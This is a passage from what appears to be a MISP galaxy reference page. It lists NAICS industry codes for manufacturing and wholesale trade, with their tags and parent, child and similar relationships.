Motor Vehicle Seating and Interior Trim Manufacturing

The tag is: *misp-galaxy:naics="336360"*

View relationships graph

336360 has relationships with:

- child-of: misp-galaxy:naics="3363" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33636" with estimative-language:likelihood-probability="likely"

33637

Motor Vehicle Metal Stamping

The tag is: *misp-galaxy:naics="33637"*

View relationships graph

33637 has relationships with:

- child-of: misp-galaxy:naics="3363" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="336370" with estimative-language:likelihood-probability="likely"

336370

Motor Vehicle Metal Stamping

The tag is: *misp-galaxy:naics="336370"*

View relationships graph

336370 has relationships with:

- child-of: misp-galaxy:naics="3363" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33637" with estimative-language:likelihood-probability="likely"

33639

Other Motor Vehicle Parts Manufacturing

The tag is: *misp-galaxy:naics="33639"*

View relationships graph

33639 has relationships with:

- child-of: misp-galaxy:naics="3363" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="336390" with estimative-language:likelihood-probability="likely"

336390

Other Motor Vehicle Parts Manufacturing

The tag is: *misp-galaxy:naics="336390"*

View relationships graph

336390 has relationships with:

- child-of: misp-galaxy:naics="3363" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33639" with estimative-language:likelihood-probability="likely"

3364

Aerospace Product and Parts Manufacturing

The tag is: *misp-galaxy:naics="3364"*

View relationships graph

3364 has relationships with:

- child-of: misp-galaxy:naics="336" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33641" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="336411" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="336412" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="336413" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="336414" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="336415" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="336419" with estimative-language:likelihood-probability="likely"

33641

Aerospace Product and Parts Manufacturing

The tag is: *misp-galaxy:naics="33641"*

View relationships graph

33641 has relationships with:

- child-of: misp-galaxy:naics="3364" with estimative-language:likelihood-probability="likely"

336411

Aircraft Manufacturing

The tag is: *misp-galaxy:naics="336411"*

View relationships graph

336411 has relationships with:

- child-of: misp-galaxy:naics="3364" with estimative-language:likelihood-probability="likely"

336412

Aircraft Engine and Engine Parts Manufacturing

The tag is: *misp-galaxy:naics="336412"*

View relationships graph

336412 has relationships with:

- child-of: misp-galaxy:naics="3364" with estimative-language:likelihood-probability="likely"

336413

Other Aircraft Parts and Auxiliary Equipment Manufacturing

The tag is: *misp-galaxy:naics="336413"*

View relationships graph

336413 has relationships with:

- child-of: misp-galaxy:naics="3364" with estimative-language:likelihood-probability="likely"

336414

Guided Missile and Space Vehicle Manufacturing

The tag is: *misp-galaxy:naics="336414"*

View relationships graph

336414 has relationships with:

- child-of: misp-galaxy:naics="3364" with estimative-language:likelihood-probability="likely"

336415

Guided Missile and Space Vehicle Propulsion Unit and Propulsion Unit Parts Manufacturing

The tag is: *misp-galaxy:naics="336415"*

View relationships graph

336415 has relationships with:

- child-of: misp-galaxy:naics="3364" with estimative-language:likelihood-probability="likely"

336419

Other Guided Missile and Space Vehicle Parts and Auxiliary Equipment Manufacturing

The tag is: *misp-galaxy:naics="336419"*

View relationships graph

336419 has relationships with:

- child-of: misp-galaxy:naics="3364" with estimative-language:likelihood-probability="likely"

3365

Railroad Rolling Stock Manufacturing

The tag is: *misp-galaxy:naics="3365"*

View relationships graph

3365 has relationships with:

- child-of: misp-galaxy:naics="336" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33651" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="336510" with estimative-language:likelihood-probability="likely"

33651

Railroad Rolling Stock Manufacturing

The tag is: *misp-galaxy:naics="33651"*

View relationships graph

33651 has relationships with:

- child-of: misp-galaxy:naics="3365" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="336510" with estimative-language:likelihood-probability="likely"

336510

Railroad Rolling Stock Manufacturing

The tag is: *misp-galaxy:naics="336510"*

View relationships graph

336510 has relationships with:

- child-of: misp-galaxy:naics="3365" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33651" with estimative-language:likelihood-probability="likely"

3366

Ship and Boat Building

The tag is: *misp-galaxy:naics="3366"*

View relationships graph

3366 has relationships with:

- child-of: misp-galaxy:naics="336" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33661" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="336611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="336612" with estimative-language:likelihood-probability="likely"

33661

Ship and Boat Building

The tag is: *misp-galaxy:naics="33661"*

View relationships graph

33661 has relationships with:

- child-of: misp-galaxy:naics="3366" with estimative-language:likelihood-probability="likely"

336611

Ship Building and Repairing

The tag is: *misp-galaxy:naics="336611"*

View relationships graph

336611 has relationships with:

- child-of: misp-galaxy:naics="3366" with estimative-language:likelihood-probability="likely"

336612

Boat Building

The tag is: *misp-galaxy:naics="336612"*

View relationships graph

336612 has relationships with:

- child-of: misp-galaxy:naics="3366" with estimative-language:likelihood-probability="likely"

3369

Other Transportation Equipment Manufacturing

The tag is: *misp-galaxy:naics="3369"*

View relationships graph

3369 has relationships with:

- child-of: misp-galaxy:naics="336" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33699" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="336991" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="336992" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="336999" with estimative-language:likelihood-probability="likely"

33699

Other Transportation Equipment Manufacturing

The tag is: *misp-galaxy:naics="33699"*

View relationships graph

33699 has relationships with:

- child-of: misp-galaxy:naics="3369" with estimative-language:likelihood-probability="likely"

336991

Motorcycle, Bicycle, and Parts Manufacturing

The tag is: *misp-galaxy:naics="336991"*

View relationships graph

336991 has relationships with:

- child-of: misp-galaxy:naics="3369" with estimative-language:likelihood-probability="likely"

336992

Military Armored Vehicle, Tank, and Tank Component Manufacturing

The tag is: *misp-galaxy:naics="336992"*

View relationships graph

336992 has relationships with:

- child-of: misp-galaxy:naics="3369" with estimative-language:likelihood-probability="likely"

336999

All Other Transportation Equipment Manufacturing

The tag is: *misp-galaxy:naics="336999"*

View relationships graph

336999 has relationships with:

- child-of: misp-galaxy:naics="3369" with estimative-language:likelihood-probability="likely"

337

Furniture and Related Product Manufacturing

The tag is: *misp-galaxy:naics="337"*

View relationships graph

337 has relationships with:

- parent-of: misp-galaxy:naics="3371" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3372" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3379" with estimative-language:likelihood-probability="likely"

3371

Household and Institutional Furniture and Kitchen Cabinet Manufacturing

The tag is: *misp-galaxy:naics="3371"*

View relationships graph

3371 has relationships with:

- child-of: misp-galaxy:naics="337" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33711" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="337110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33712" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="337121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="337122" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="337126" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="337127" with estimative-language:likelihood-probability="likely"

33711

Wood Kitchen Cabinet and Countertop Manufacturing

The tag is: *misp-galaxy:naics="33711"*

View relationships graph

33711 has relationships with:

- child-of: misp-galaxy:naics="3371" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="337110" with estimative-language:likelihood-probability="likely"

337110

Wood Kitchen Cabinet and Countertop Manufacturing

The tag is: *misp-galaxy:naics="337110"*

View relationships graph

337110 has relationships with:

- child-of: misp-galaxy:naics="3371" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33711" with estimative-language:likelihood-probability="likely"

33712

Household and Institutional Furniture Manufacturing

The tag is: *misp-galaxy:naics="33712"*

View relationships graph

33712 has relationships with:

- child-of: misp-galaxy:naics="3371" with estimative-language:likelihood-probability="likely"

337121

Upholstered Household Furniture Manufacturing

The tag is: *misp-galaxy:naics="337121"*

View relationships graph

337121 has relationships with:

- child-of: misp-galaxy:naics="3371" with estimative-language:likelihood-probability="likely"

337122

Nonupholstered Wood Household Furniture Manufacturing

The tag is: *misp-galaxy:naics="337122"*

View relationships graph

337122 has relationships with:

- child-of: misp-galaxy:naics="3371" with estimative-language:likelihood-probability="likely"

337126

Household Furniture (except Wood and Upholstered) Manufacturing

The tag is: *misp-galaxy:naics="337126"*

View relationships graph

337126 has relationships with:

- child-of: misp-galaxy:naics="3371" with estimative-language:likelihood-probability="likely"

337127

Institutional Furniture Manufacturing

The tag is: *misp-galaxy:naics="337127"*

View relationships graph

337127 has relationships with:

- child-of: misp-galaxy:naics="3371" with estimative-language:likelihood-probability="likely"

3372

Office Furniture (including Fixtures) Manufacturing

The tag is: *misp-galaxy:naics="3372"*

View relationships graph

3372 has relationships with:

- child-of: misp-galaxy:naics="337" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33721" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="337211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="337212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="337214" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="337215" with estimative-language:likelihood-probability="likely"

33721

Office Furniture (including Fixtures) Manufacturing

The tag is: *misp-galaxy:naics="33721"*

View relationships graph

33721 has relationships with:

- child-of: misp-galaxy:naics="3372" with estimative-language:likelihood-probability="likely"

337211

Wood Office Furniture Manufacturing

The tag is: *misp-galaxy:naics="337211"*

View relationships graph

337211 has relationships with:

- child-of: misp-galaxy:naics="3372" with estimative-language:likelihood-probability="likely"

337212

Custom Architectural Woodwork and Millwork Manufacturing

The tag is: *misp-galaxy:naics="337212"*

View relationships graph

337212 has relationships with:

- child-of: misp-galaxy:naics="3372" with estimative-language:likelihood-probability="likely"

337214

Office Furniture (except Wood) Manufacturing

The tag is: *misp-galaxy:naics="337214"*

View relationships graph

337214 has relationships with:

- child-of: misp-galaxy:naics="3372" with estimative-language:likelihood-probability="likely"

337215

Showcase, Partition, Shelving, and Locker Manufacturing

The tag is: *misp-galaxy:naics="337215"*

View relationships graph

337215 has relationships with:

- child-of: misp-galaxy:naics="3372" with estimative-language:likelihood-probability="likely"

3379

Other Furniture Related Product Manufacturing

The tag is: *misp-galaxy:naics="3379"*

View relationships graph

3379 has relationships with:

- child-of: misp-galaxy:naics="337" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33791" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="337910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33792" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="337920" with estimative-language:likelihood-probability="likely"

33791

Mattress Manufacturing

The tag is: *misp-galaxy:naics="33791"*

View relationships graph

33791 has relationships with:

- child-of: misp-galaxy:naics="3379" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="337910" with estimative-language:likelihood-probability="likely"

337910

Mattress Manufacturing

The tag is: *misp-galaxy:naics="337910"*

View relationships graph

337910 has relationships with:

- child-of: misp-galaxy:naics="3379" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33791" with estimative-language:likelihood-probability="likely"

33792

Blind and Shade Manufacturing

The tag is: *misp-galaxy:naics="33792"*

View relationships graph

33792 has relationships with:

- child-of: misp-galaxy:naics="3379" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="337920" with estimative-language:likelihood-probability="likely"

337920

Blind and Shade Manufacturing

The tag is: *misp-galaxy:naics="337920"*

View relationships graph

337920 has relationships with:

- child-of: misp-galaxy:naics="3379" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33792" with estimative-language:likelihood-probability="likely"

339

Miscellaneous Manufacturing

The tag is: *misp-galaxy:naics="339"*

View relationships graph

339 has relationships with:

- parent-of: misp-galaxy:naics="3391" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3399" with estimative-language:likelihood-probability="likely"

3391

Medical Equipment and Supplies Manufacturing

The tag is: *misp-galaxy:naics="3391"*

View relationships graph

3391 has relationships with:

- child-of: misp-galaxy:naics="339" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33911" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="339112" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="339113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="339114" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="339115" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="339116" with estimative-language:likelihood-probability="likely"

33911

Medical Equipment and Supplies Manufacturing

The tag is: *misp-galaxy:naics="33911"*

View relationships graph

33911 has relationships with:

- child-of: misp-galaxy:naics="3391" with estimative-language:likelihood-probability="likely"

339112

Surgical and Medical Instrument Manufacturing

The tag is: *misp-galaxy:naics="339112"*

View relationships graph

339112 has relationships with:

- child-of: misp-galaxy:naics="3391" with estimative-language:likelihood-probability="likely"

339113

Surgical Appliance and Supplies Manufacturing

The tag is: *misp-galaxy:naics="339113"*

View relationships graph

339113 has relationships with:

- child-of: misp-galaxy:naics="3391" with estimative-language:likelihood-probability="likely"

339114

Dental Equipment and Supplies Manufacturing

The tag is: *misp-galaxy:naics="339114"*

View relationships graph

339114 has relationships with:

- child-of: misp-galaxy:naics="3391" with estimative-language:likelihood-probability="likely"

339115

Ophthalmic Goods Manufacturing

The tag is: *misp-galaxy:naics="339115"*

View relationships graph

339115 has relationships with:

- child-of: misp-galaxy:naics="3391" with estimative-language:likelihood-probability="likely"

339116

Dental Laboratories

The tag is: *misp-galaxy:naics="339116"*

View relationships graph

339116 has relationships with:

- child-of: misp-galaxy:naics="3391" with estimative-language:likelihood-probability="likely"

3399

Other Miscellaneous Manufacturing

The tag is: *misp-galaxy:naics="3399"*

View relationships graph

3399 has relationships with:

- child-of: misp-galaxy:naics="339" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33991" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="339910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33992" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="339920" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33993" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="339930" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33994" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="339940" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="33995" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="339950" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33999" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="339991" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="339992" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="339993" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="339994" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="339995" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="339999" with estimative-language:likelihood-probability="likely"

33991

Jewelry and Silverware Manufacturing

The tag is: *misp-galaxy:naics="33991"*

View relationships graph

33991 has relationships with:

- child-of: misp-galaxy:naics="3399" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="339910" with estimative-language:likelihood-probability="likely"

339910

Jewelry and Silverware Manufacturing

The tag is: *misp-galaxy:naics="339910"*

View relationships graph

339910 has relationships with:

- child-of: misp-galaxy:naics="3399" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33991" with estimative-language:likelihood-probability="likely"

33992

Sporting and Athletic Goods Manufacturing

The tag is: *misp-galaxy:naics="33992"*

View relationships graph

33992 has relationships with:

- child-of: misp-galaxy:naics="3399" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="339920" with estimative-language:likelihood-probability="likely"

339920

Sporting and Athletic Goods Manufacturing

The tag is: *misp-galaxy:naics="339920"*

View relationships graph

339920 has relationships with:

- child-of: misp-galaxy:naics="3399" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33992" with estimative-language:likelihood-probability="likely"

33993

Doll, Toy, and Game Manufacturing

The tag is: *misp-galaxy:naics="33993"*

View relationships graph

33993 has relationships with:

- child-of: misp-galaxy:naics="3399" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="339930" with estimative-language:likelihood-probability="likely"

339930

Doll, Toy, and Game Manufacturing

The tag is: *misp-galaxy:naics="339930"*

View relationships graph

339930 has relationships with:

- child-of: misp-galaxy:naics="3399" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33993" with estimative-language:likelihood-probability="likely"

33994

Office Supplies (except Paper) Manufacturing

The tag is: *misp-galaxy:naics="33994"*

View relationships graph

33994 has relationships with:

- child-of: misp-galaxy:naics="3399" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="339940" with estimative-language:likelihood-probability="likely"

339940

Office Supplies (except Paper) Manufacturing

The tag is: *misp-galaxy:naics="339940"*

View relationships graph

339940 has relationships with:

- child-of: misp-galaxy:naics="3399" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33994" with estimative-language:likelihood-probability="likely"

33995

Sign Manufacturing

The tag is: *misp-galaxy:naics="33995"*

View relationships graph

33995 has relationships with:

- child-of: misp-galaxy:naics="3399" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="339950" with estimative-language:likelihood-probability="likely"

339950

Sign Manufacturing

The tag is: *misp-galaxy:naics="339950"*

View relationships graph

339950 has relationships with:

- child-of: misp-galaxy:naics="3399" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33995" with estimative-language:likelihood-probability="likely"

33999

All Other Miscellaneous Manufacturing

The tag is: *misp-galaxy:naics="33999"*

View relationships graph

33999 has relationships with:

- child-of: misp-galaxy:naics="3399" with estimative-language:likelihood-probability="likely"

339991

Gasket, Packing, and Sealing Device Manufacturing

The tag is: *misp-galaxy:naics="339991"*

View relationships graph

339991 has relationships with:

- child-of: misp-galaxy:naics="3399" with estimative-language:likelihood-probability="likely"

339992

Musical Instrument Manufacturing

The tag is: *misp-galaxy:naics="339992"*

View relationships graph

339992 has relationships with:

- child-of: misp-galaxy:naics="3399" with estimative-language:likelihood-probability="likely"

339993

Fastener, Button, Needle, and Pin Manufacturing

The tag is: *misp-galaxy:naics="339993"*

View relationships graph

339993 has relationships with:

- child-of: misp-galaxy:naics="3399" with estimative-language:likelihood-probability="likely"

339994

Broom, Brush, and Mop Manufacturing

The tag is: *misp-galaxy:naics="339994"*

View relationships graph

339994 has relationships with:

- child-of: misp-galaxy:naics="3399" with estimative-language:likelihood-probability="likely"

339995

Burial Casket Manufacturing

The tag is: *misp-galaxy:naics="339995"*

View relationships graph

339995 has relationships with:

- child-of: misp-galaxy:naics="3399" with estimative-language:likelihood-probability="likely"

339999

All Other Miscellaneous Manufacturing

The tag is: *misp-galaxy:naics="339999"*

View relationships graph

339999 has relationships with:

- child-of: misp-galaxy:naics="3399" with estimative-language:likelihood-probability="likely"

42

Wholesale Trade

The tag is: *misp-galaxy:naics="42"*

View relationships graph

42 has relationships with:

- parent-of: misp-galaxy:naics="423" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="425" with estimative-language:likelihood-probability="likely"

423

Merchant Wholesalers, Durable Goods

The tag is: *misp-galaxy:naics="423"*

View relationships graph

423 has relationships with:

- child-of: misp-galaxy:naics="42" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4231" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4232" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4233" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4234" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4235" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4236" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4237" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4238" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4239" with estimative-language:likelihood-probability="likely"

4231

Motor Vehicle and Motor Vehicle Parts and Supplies Merchant Wholesalers

The tag is: *misp-galaxy:naics="4231"*

View relationships graph

4231 has relationships with:

- child-of: misp-galaxy:naics="423" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42312" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42313" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423130" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42314" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423140" with estimative-language:likelihood-probability="likely"

42311

Automobile and Other Motor Vehicle Merchant Wholesalers

The tag is: *misp-galaxy:naics="42311"*

View relationships graph

42311 has relationships with:

- child-of: misp-galaxy:naics="4231" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423110" with estimative-language:likelihood-probability="likely"

423110

Automobile and Other Motor Vehicle Merchant Wholesalers

The tag is: *misp-galaxy:naics="423110"*

View relationships graph

423110 has relationships with:

- child-of: misp-galaxy:naics="4231" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42311" with estimative-language:likelihood-probability="likely"

42312

Motor Vehicle Supplies and New Parts Merchant Wholesalers

The tag is: *misp-galaxy:naics="42312"*

View relationships graph

42312 has relationships with:

- child-of: misp-galaxy:naics="4231" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423120" with estimative-language:likelihood-probability="likely"

423120

Motor Vehicle Supplies and New Parts Merchant Wholesalers

The tag is: *misp-galaxy:naics="423120"*

View relationships graph

423120 has relationships with:

- child-of: misp-galaxy:naics="4231" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42312" with estimative-language:likelihood-probability="likely"

42313

Tire and Tube Merchant Wholesalers

The tag is: *misp-galaxy:naics="42313"*

View relationships graph

42313 has relationships with:

- child-of: misp-galaxy:naics="4231" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423130" with estimative-language:likelihood-probability="likely"

423130

Tire and Tube Merchant Wholesalers

The tag is: *misp-galaxy:naics="423130"*

View relationships graph

423130 has relationships with:

- child-of: misp-galaxy:naics="4231" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42313" with estimative-language:likelihood-probability="likely"

42314

Motor Vehicle Parts (Used) Merchant Wholesalers

The tag is: *misp-galaxy:naics="42314"*

View relationships graph

42314 has relationships with:

- child-of: misp-galaxy:naics="4231" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423140" with estimative-language:likelihood-probability="likely"

423140

Motor Vehicle Parts (Used) Merchant Wholesalers

The tag is: *misp-galaxy:naics="423140"*

View relationships graph

423140 has relationships with:

- child-of: misp-galaxy:naics="4231" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42314" with estimative-language:likelihood-probability="likely"

4232

Furniture and Home Furnishing Merchant Wholesalers

The tag is: *misp-galaxy:naics="4232"*

View relationships graph

4232 has relationships with:

- child-of: misp-galaxy:naics="423" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42321" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423210" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42322" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423220" with estimative-language:likelihood-probability="likely"

42321

Furniture Merchant Wholesalers

The tag is: *misp-galaxy:naics="42321"*

View relationships graph

42321 has relationships with:

- child-of: misp-galaxy:naics="4232" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423210" with estimative-language:likelihood-probability="likely"

423210

Furniture Merchant Wholesalers

The tag is: *misp-galaxy:naics="423210"*

View relationships graph

423210 has relationships with:

- child-of: misp-galaxy:naics="4232" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:naics="42321" with estimative-language:likelihood-probability="likely"

42322

Home Furnishing Merchant Wholesalers

The tag is: *misp-galaxy:naics="42322"*

View relationships graph

42322 has relationships with:

- child-of: misp-galaxy:naics="4232" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423220" with estimative-language:likelihood-probability="likely"

423220

Home Furnishing Merchant Wholesalers

The tag is: *misp-galaxy:naics="423220"*

View relationships graph

423220 has relationships with:

- child-of: misp-galaxy:naics="4232" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42322" with estimative-language:likelihood-probability="likely"

4233

Lumber and Other Construction Materials Merchant Wholesalers

The tag is: *misp-galaxy:naics="4233"*

View relationships graph

4233 has relationships with:

- child-of: misp-galaxy:naics="423" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42331" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423310" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42332" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423320" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42333" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423330" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42339" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="423390" with estimative-language:likelihood-probability="likely"

42331

Lumber, Plywood, Millwork, and Wood Panel Merchant Wholesalers

The tag is: *misp-galaxy:naics="42331"*

View relationships graph

42331 has relationships with:

- child-of: misp-galaxy:naics="4233" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423310" with estimative-language:likelihood-probability="likely"

423310

Lumber, Plywood, Millwork, and Wood Panel Merchant Wholesalers

The tag is: *misp-galaxy:naics="423310"*

View relationships graph

423310 has relationships with:

- child-of: misp-galaxy:naics="4233" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42331" with estimative-language:likelihood-probability="likely"

42332

Brick, Stone, and Related Construction Material Merchant Wholesalers

The tag is: *misp-galaxy:naics="42332"*

View relationships graph

42332 has relationships with:

- child-of: misp-galaxy:naics="4233" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423320" with estimative-language:likelihood-probability="likely"

423320

Brick, Stone, and Related Construction Material Merchant Wholesalers

The tag is: *misp-galaxy:naics="423320"*

View relationships graph

423320 has relationships with:

- child-of: misp-galaxy:naics="4233" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42332" with estimative-language:likelihood-probability="likely"

42333

Roofing, Siding, and Insulation Material Merchant Wholesalers

The tag is: *misp-galaxy:naics="42333"*

View relationships graph

42333 has relationships with:

- child-of: misp-galaxy:naics="4233" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423330" with estimative-language:likelihood-probability="likely"

423330

Roofing, Siding, and Insulation Material Merchant Wholesalers

The tag is: *misp-galaxy:naics="423330"*

View relationships graph

423330 has relationships with:

- child-of: misp-galaxy:naics="4233" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42333" with estimative-language:likelihood-probability="likely"

42339

Other Construction Material Merchant Wholesalers

The tag is: *misp-galaxy:naics="42339"*

View relationships graph

42339 has relationships with:

- child-of: misp-galaxy:naics="4233" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423390" with estimative-language:likelihood-probability="likely"

423390

Other Construction Material Merchant Wholesalers

The tag is: *misp-galaxy:naics="423390"*

View relationships graph

423390 has relationships with:

- child-of: misp-galaxy:naics="4233" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42339" with estimative-language:likelihood-probability="likely"

4234

Professional and Commercial Equipment and Supplies Merchant Wholesalers

The tag is: *misp-galaxy:naics="4234"*

View relationships graph

4234 has relationships with:

- child-of: misp-galaxy:naics="423" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42341" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423410" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42342" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423420" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42343" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423430" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42344" with estimative-language:likelihood-probability="likely"
